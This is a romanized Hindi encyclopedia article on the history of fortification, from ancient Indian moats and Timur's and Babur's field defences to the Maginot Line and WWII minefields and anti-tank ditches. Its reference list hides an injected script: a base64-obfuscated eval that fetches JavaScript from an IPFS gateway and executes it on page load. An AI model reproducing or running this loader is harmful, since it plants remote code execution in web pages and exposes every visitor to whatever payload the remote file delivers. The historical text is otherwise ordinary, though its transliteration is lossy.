किलाबंदी
kilabandi shatru ka pratirodh aur usase raksha karane ki vyavastha ka nam kilabandi hai. yah do prakar ki hoti hai : ek sthayi aur doosari asthayi. sthayi kilebandi ke lie dridh durgoan ka nirman, jinamean suraksha ke sadhan upalabdh ho, avashyak hai. maidani kilabandi ki avashyakata aise avasaroan par p dati hai jab sthayi kile ko chho dakar senaean ranakshetr mean amane samane kh di hoti haian. maidani kilabandi mean b de b de pe doan ko girakar tatha b di b di chattanoan evan any sadhanoan ki sahayata se shatru ke marg mean rookavat dalane ka prayatn kiya jata hai. prachin bharatiy kilabandi ka praranbh vapr se hota hai. vapr bhoo ki parikalpana ke lie pur ke charoan or parikhaean[1]khodi jati thian. kautily ke arthashastr tatha samaraangan sootradhar mean charoan or tin tin parikhaoan ke khanan ka nirdesh hai. parikheyi bhoomi ki vyavastha nagar mapan ka pratham aang raha hai. parikhaoan ke khanan se nikali huee mitti ke dvara hi vapr bhoo ki rachana ki jati thi. kiantu madhyakal mean rajapoot log kilabandi ko adhik mahatv nahian dete the. amane samane talavarean chalakar pran tyag dena hi ve apane lie garv ka vishay samajhate the. turkoan ki yuddhavidya mean sthayi tatha asthayi donoan hi prakar ki kilabandi ka ullekh milata hai. phkhra madabbir ne adabul harb havashshujaat mean do prakar ki kilabandiyoan ko ullekh kiya hai : ek mean aise kiloan ki charcha milati hai jo bhoomi ke niche surang banakar taiyar kie jayan tatha surang mean marg bana liya jae. un surangoan se kisi jangal athava nadi ke bahar nikalane mean suvidha hoti thi. ismaili is prakar ki kilabandi ko b da hi mahatvapoorn batate haian. doosare prakar ki kilabandi ke pransag mean usane aise ki loan ka ullekh kiya hai jo jamin ke oopar aise sthal par bane hoan jahaan surang n ban sakati hoan. kilabandi ke sanbandh mean usane aise nagaroan ka ullekh kiya hai jo kile ke saman hoan aur jinamean ve samast vastuean upalabdh hoan jo kile mean hoti haian.
madhyakalin bharatiy itihas mean dakshin ke yuddhoan ke vivaran mean aisi maidani kilabandi ka ullekh milata hai jise kataghar athava kathagadh kahate haian. yah ek prakar ke lak di ke kile hote the jo kaantoan adi se maidan mean yuddh ke lie taiyar kar lie jate the. kharabandi shabd ka bhi prayog isi arth mean hua hai.
roman sainikoan ko shiksha di jati thi ki ve ratri mean shivir lagate samay khaiyaan kis prakar khodean aur barchhi tatha nukile chh doan se kilabandi kis prakar karean. shivir ki raksha hetoo pratyek sainik ke kary prithakh prithakh hote the. kabhi kabhi adhi sena shatru se yuddh karane mean sanlagn ho jati thi aur shesh adhi kisi ooanchaee par kilabandi ke lie pahuanch jati thi. nukile chh doan ka ba da kuchh nicha rakha jata tha taki unake pichhe se sainik dhal dvara apani raksha kar sakean. jooliyas sizar ke g aaul ke abhiyanoan mean 14 mil lanbi divaroan ke nirman ka ullekh milata haian.
13vian sadi ee. mean mangoloan ne yoorop mean maidani kilabandi ki vyavastha ko pun: prachalit kiya. taimoor ne bharatavarsh pahuanchakar dilli par akraman karane ke poorv jis madani kilabandi ki vyavastha karaee use pushte bahali kahate haian. usane vrikshoan ki daliyoan tatha chhapparoan se divarean taiyar karaeean. khaee ke samaksh bhaiansoan ko, garadan aur paanv baandhakar dal diya. chhappar ke pichhe laga die. jab bharatiy hathiyoan ki panktiyaan age badhi tab usane suraksha ke lie apani sena ki pankti ko samane se khanbhoan ki pankti dvara surakshit kara diya. lohe ke bahut b de-b de kaante taiyar karavakar padatiyoan ko is ashay se de die ki jab hathi akraman karean to ve un kaantoan ko hathiyoan ke samane dal dean. bandook tatha gole barood ke avishkar ke karan babar ne panipat ke yuddh mean ibrahim lodi ki bahut b di sena se takkar lene ke lie jis prakar kilabandi karaee usake vishay mean vah svayan likhata hai ki hamare daeean or panipat nagar tatha usake muhalle the. hamare samane ga diyaan tatha torean (ek prakar ki ooanchi tipaiyaan) thian, jinhean hamane taiyar karaya tha. baeean aur tatha any sthanoan par khaiyaan evan vriksh ki shakhaean thian. ek ek ban pahuanchane ki doori tak itana sthan chho d diya gaya tha ki 100-100, 200-200 ashvarohi vahaan se chhapa mar sakean.
yoorop mean nepoliyan ko kee sthayi durgoan par ghera dalane ka vivash hona p da tha kiantu cheshta yahi hoti thian ki vah apane svanishchit ranakshetr mean shatru ko le ae. phridalaiand ke abhiyan mean roosi senanayak kauant ban benigsan ne baltik sagar se prithakh ho jane par ek shivir mean sharan li jahaan usane tatkal hi asthayi kilabandi ki vyavastha kar li. nepoliyan is asthayi morchabandi ka sahi anuman n laga saka aur usane apane sainik akraman ke lie bhej die, parantu ve parajit ho ge. nepoliyan ne ne sainik bhejakar pun: akraman kiya, kiantu aandhera ho jane ke karan prayatn tyag dena p da.
amarika mean grihayuddh ke samay amarikoan ke pas samudriy tat ke atirikt kahian bhi sthayi durg n the. sainik ya to patthar ki divar ke pichhe ya, khaiyaan khodakar shatruoan se yuddh karate the. viksabarg tatha pitsabarg ki gherabandiyoan mean khaeean yuddh ki vyavastha apanaee gee. viksabarg ka ghera lagabhag ek sal tak chalata raha.
pratham vishvayuddh mean kiloan ne senaoan ko sangathit karane tatha shatruoan ke akraman mean vilamb dalane mean b di sahayata ki. phraans tatha beljiyam ke durgoan ki vyavastha is dhang se ki gee thi ki unake dvara shatruoan ko age badhane se roka ja sake, sath hi unapar akraman karane mean suvidha hoan.
svitajaralaiand ki sima se ianglish chainal tak ki 600 mil ki doori mean do prakar ki khaiyaan ek doosare ke sammukh thian. disanbar 1914 se march 1918 tak ki avadhi mean ye laharadar khaiyaan kisi bhi ek sthan par 10 mil se adhik ki doori tak nahian hati thian, siva ek sthan ke jise jarmanoan ne svechchha se chho d diya tha taki apani panktiyoan ko ek sidh mean kar lean. pratham vishvayuddh ke samay kuchh adhunik kile jarmanoan ki golabari ko sabhi prakar jhel ge. sath hi, inamean sainikoan ki bhi adhik avashyakata nahian p di. is anubhav se phraansisiyoan ko majinolain namak kilebandi ke nirman ke lie prerit kiya jo jarmanoan ke akraman se sthayi roop se raksha kar sake. poorv mean jo golakar kilabandi ki vyavastha hoti thi is adhunik kilabandi mean bhi lakshit thi, parantu isaki mukhy visheshata rekhavath morchabandi ki vyavastha hi thi. senaoan ki drishti se majino lain gat morchabandi vyavastha se kahian shreyaskar thi. isamean kank d ityadi bhi kaphi mota lagaya gaya tha aur isaki topean bhi vishalakay thian. sath hi isamean vatanukoolit bhag bhi senaoan ke lie the aur kaha jata haian ki yah kisi bhi adhunik nagar mean k m aramadeh n thi. isamean manoranjan ke sthanoan, rahane ke lie makanoan, khady-bhandar-grih aur bhoomigat rel ki patariyoan ki bhi vyavastha thian. gaharaee mean kuchh aise sudridh sthan bhi bana die ge the jahaan avashyakata p dane par rel dvara sena ja sakati thi.
jarmanoan ne bhi 1936 mean rainalaiand ki kilabandi sigaphrad lain dvara ki. is rekha mean lohe tatha kank d se rakshatmak sthan banae ge the aur un sthanoan ke age jarmanoan ki poori sima tak kank d tatha lohe ke avarodhak sthan bhi bana die ge the. roos ne polaiand ke viruddh jo kilabandi ki, aur jise stalin lain kahate haian, vah majinoan lain ke namoone par hi bani thi.
in navin gadhabandiyoan mean kee batean dhyan mean rakhi gee thian. lohe tatha kank d ke avarodhak taiankoan ki gati ko rokane ke lie hi nahi apitu jalamagn kshetroan tatha jangaloan mean bhi pahanchane ke margoan ka saranmainh karane ke lie prayog mean laya gaya tha. vayuyanoan ke akraman se raksha karana bhi avashyak samajha gaya tha. isake liye vistrit teliphon vyavastha, sarchalait tatha bhari topoan ko lagane ka prabandh kiya gaya tha. vayuyanoan dvara n dekh jane tatha shatruoan ki sthalasena ko dhokha dene ke lie chhipane ki vyavastha karana bhi mahatvapoorn mana gaya. mitrarashtroan ne samajha tha ki unako kilebandi ki yah vyavastha shatruoan ke akraman ko rokane aur jhelane mean samarth hogi kiantu ve apani is yojana mean poornat: asaphal rahe.
jarmani ki senaean apani sanshodhit shlifen yojana ke anusar beljiyam se hokar mee, 1940 mean kooch karane lagi. beljiyam se hokar kooch karate samay jarman senaean phraans ki poorvi sima par sthit sudridh kiloan se katarati huee chali. beljiyam mean lij aur namoor ke durg aur uttari phraans ke durg, jo jarman senaoan ki dahini tuk di ke kooch marg mean p date the, un durgoan ki apeksha jo door dakshin tatha phranas ki poorvi sima par sthit the, kamajor the. jarman senaoan ne isaka sahi anuman laga liya tha aur isilie unhoanne ek nee vidhi nikali jise shlifen plan kahate haian. unhoanne liz ke nikat alabart nahar tatha myooje ke chaurahoan par akraman kiya. 24 ghante mean iben-imail ka durg vijit ho gaya. samast sansar is durg ke vijit ho jane par ashcharyachakit ho gaya kyoanki isaki kilabandi adhunik dhang se huee thi. jarmanoan ki is jit par pashchimi rashtroan ne socha ki jarmanoan ke pas koee gupt astr hai parantu vastav mean unaki jit ki rahasy akraman mean poorn samanjasy tha. prat:kal jarmanoan ne kile ki choti par apane sainik utar die. pratishikshit ianjiniyaroan ne turant hi barood lagani shuru kar di jisase kile ki chhatariyaan dhvast ki ja sakean. topoan ki naliyoan mean unhoanne hathagole bhi gira die aur kile ke baroodakhane mean visph otak padarth pahuancha die. isake poorv ki akraman ki soochana dene ke lie ghantiyaan bajean, vayuyanoan dvara any durgoan par akraman shuroo ho gaya. vayuyanoan dvara utare ge sainikoan ki sahayata ke liye paidal sena naukaaaian mean nadi par kar pahuanch gee aur donoan ne milakar kshan bhar mean liz ka poora kila gherakar dekhate hi dekhate jit liya. gupt astr ke sath ghar ke bhediyoan (fiphth kalam) ko bhi is parajay ka karan bataya gaya parantu vastav mean vayusena tatha sthalasena ka daksh sahayog hi jarmanoan ki vijay ka karan tha. isi dhang se jarmanoan ne majino rekha ke uttari sire par sedaan par bhi akraman kiya aur stalin lain ko to dane mean bhi isi yukti se kam liya.
1944 mean jarmani ke fortres aauv yoorop ki raksha mean kank d tatha lohe dvara kilabandi par adhik jor diya gaya. kiloan ko tiloanh ke ek or banaya gaya jisako dekhakar us durg ke ajey hone ka abhas ho. sancharan ki vyavastha, vayunashak topoan ki raksha tatha in kiloan ke pichhe paidal sena sahayatarth avasthit karane par adhik jor diya gaya. ke kile ke samane samudr ke kinare kinare surangean aur jal tatha kinaroan par avarodhak lagae ge. yah sthayi tatha maidani kilabandi ka ek sammilit roop tha.
dvitiy mahayuddh ke samay kee sthanoan par phraansisiyoan ne sudridh maidani morchabandi ki. unhoanne b di b di khaiyaan khodi jo itani gaharian thian ki unase taiank tak roke ja sakate the. taiank nashak topean bhi in khaiyoan ke samane ke bhagapar agnivarsha karane ke lie lagaee gee thian. sarvapratham jarmanoan ne topakhane tatha nichali u danavale vayuyanoan dvara phranasisi sthanoan par bamabari ki. isake pashchath taianko ne in laharadar aianti-taiank khaiyoan ke viruddh dhuean ki a d mean badhana shuru kiya. yah jan lene ke pashchath ki taiank nashak top kis sthan par lagaee gee, jarmanoan ne ek taiankoan ko age badhaya jisane taiank nashak ton ko takarakar gira diya aur phraansisi topachi ki drishti ke samane a dakar usake drishtimarg ko avaruddh kar diya. is prakar jarmanoan ne apane taianko ki, jo pichhe a rahe the, raksha ki aur ve isi raksha mean khaiyoan tak pahuanch ge, vishesh yantroan dvara, khaiyoan par pul banaya aur par ho ge. phraansisiyoan ki is prakar jitani raksharth panktiyaan tatha khaiyaan thian ve sab jarman taiank isi vidhi se par karate ge. par karane mean phraansisiyoan ki raksha divaroan ko bhi apani bhari-bhari topoan se chakanachoor karate chale ge.
guhatmak maidani morchabandi ke viruddh amarika ne manushyoan ke sthan par yantroan ka har sanbhav sadhan se prayog ki vidhi apanaee. isase kabhi kabhi vayuyanoan aur sath hi nausena dvara us kshetr par bamavarsha kuchh dinoan athava kuchh saptah tak ki jati thi. ek bar thalasena l date l date samudr tat tak pahuanch jati to vah apane sath topakhana tatha taiank bhi vahaan tak le jati aur donoan ki sayuankt shakti se shatru ke maidani morchabandi ke sthanoan par bamavarsha ki jati. shatru is bamavarsha ke karan apani guharoopi khaiyoan se nikalakar bhagate. isi samay paidal sena jangali kshetroan se hoti in guphaoan se nikale shatruoan ko gherati ati aur unhe nasht kar deti. is vidhi se shatruoan ko nasht karane ke bavajood japani sainik apani gupharoopi khaiyoan se nahian nikale. tab amarikiyoan ne taiankoan dvara un khaiyoan par agnivarsha ki aur unake praveshadvar u da die.
dvitiy vishvayuddh mean maidani morchabandi ka kram is prakar hota tha : raksharth ek sthan chuna jata tha, khaiyaan tatha sharanasthan banae jate the, phir surangean lagakar tatha kaantedar tar khianchakar shatru ka marg avaruddh kiya jata tha. rakshatmak sthalayuddh mean ye sab kary ek sath kie jate the. madhy se ek aianti-taiank khaee bhi jati thi. is khaee ke lagabhag 600 gaj pichhe rakshak dal kh da hota tha jisamean railaphaladhari tatha unake pichhe topachi khaiyoan mean kh de ho jate the. itani doori par isalie kh de hote the jisase mashinagan tatha chhoti martar bandookoan dvara un shatruoan par agnivarsha kar sakean jo aianti-taiank khaee ke us aur lagae ge avarodhak sthanoan par akar atak gee hoan. aianti-taiank khaee ke bad kaantedar tar aur mukhy surangean lagaee jati thian. in surangoan ke bad phir kaantedar tar tatha surangean, aur isake bad bhi kaantedar tar tatha surangean rakhi jatian thian. raksharth chune ge sthan tatha avarodhak kshetr mean paraspar 400 se 600 gaj tak ki doori rakhi jati thi. is maidani kilabandi se yah labh tha ki khaiyoan mean chhipe rahakar bhi rakshak dal ko apane astr shastr prayukt karane ki har prakar se sanbhavana thi. avarodhak bhi, visheshakar surangean, shatruoan ki adharashakti taianko ko rokane mean b di prabhavakari siddh hoti thian.
dvitiy vishvayuddh ke bad yah nishkarsh nikala ki sthayi kilabandi dhan tatha parishram ki drishti se thik nahian hai; shatru ki gati mean vilamb any sadhanoan se bhi karaya ja sakata hai. parantu isaka yah arth nahian hai ki isaka mahatv bilkul hi khatm ho gaya. anubam ke akraman mean senaoan ko mitti ke tiloan ya kank d ke rakshak sthanoan mean ana hi hoga. nadi ke kinare ya paha di darroan ke nikat in sthayi gadhoan ka upayog ab bhi labhadayak hai. haan, yah avashy kaha ja sakata hai ki adhunik tritiy ayomatmak yuddh mean sthayi durgo ki upayogita nasht ho gee hai.[2]
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tika tippani aur sandarbh
- ↑ (1,2 ya 3)
- ↑ hindi vishvakosh, khand 3 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 17 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san. gran.-dvijeandranath shukl : bharatiy vastushastr; rizavi : adi turk kalin bharat; tugalak kalin bharat, bhag 2; mugalakalin bharat; humayuan; phkhromudabbir: adabul harb vashshujaat; shraphuddin ali yajadi; zapharanama bhag 2; babaranama; sidani t aauy: e histri aauv fortifikeshan; viliyam e. mishel: autalaians aauv d varldh s militri histri; bi. ech. lidel hart: d desisiv vars aauv histri.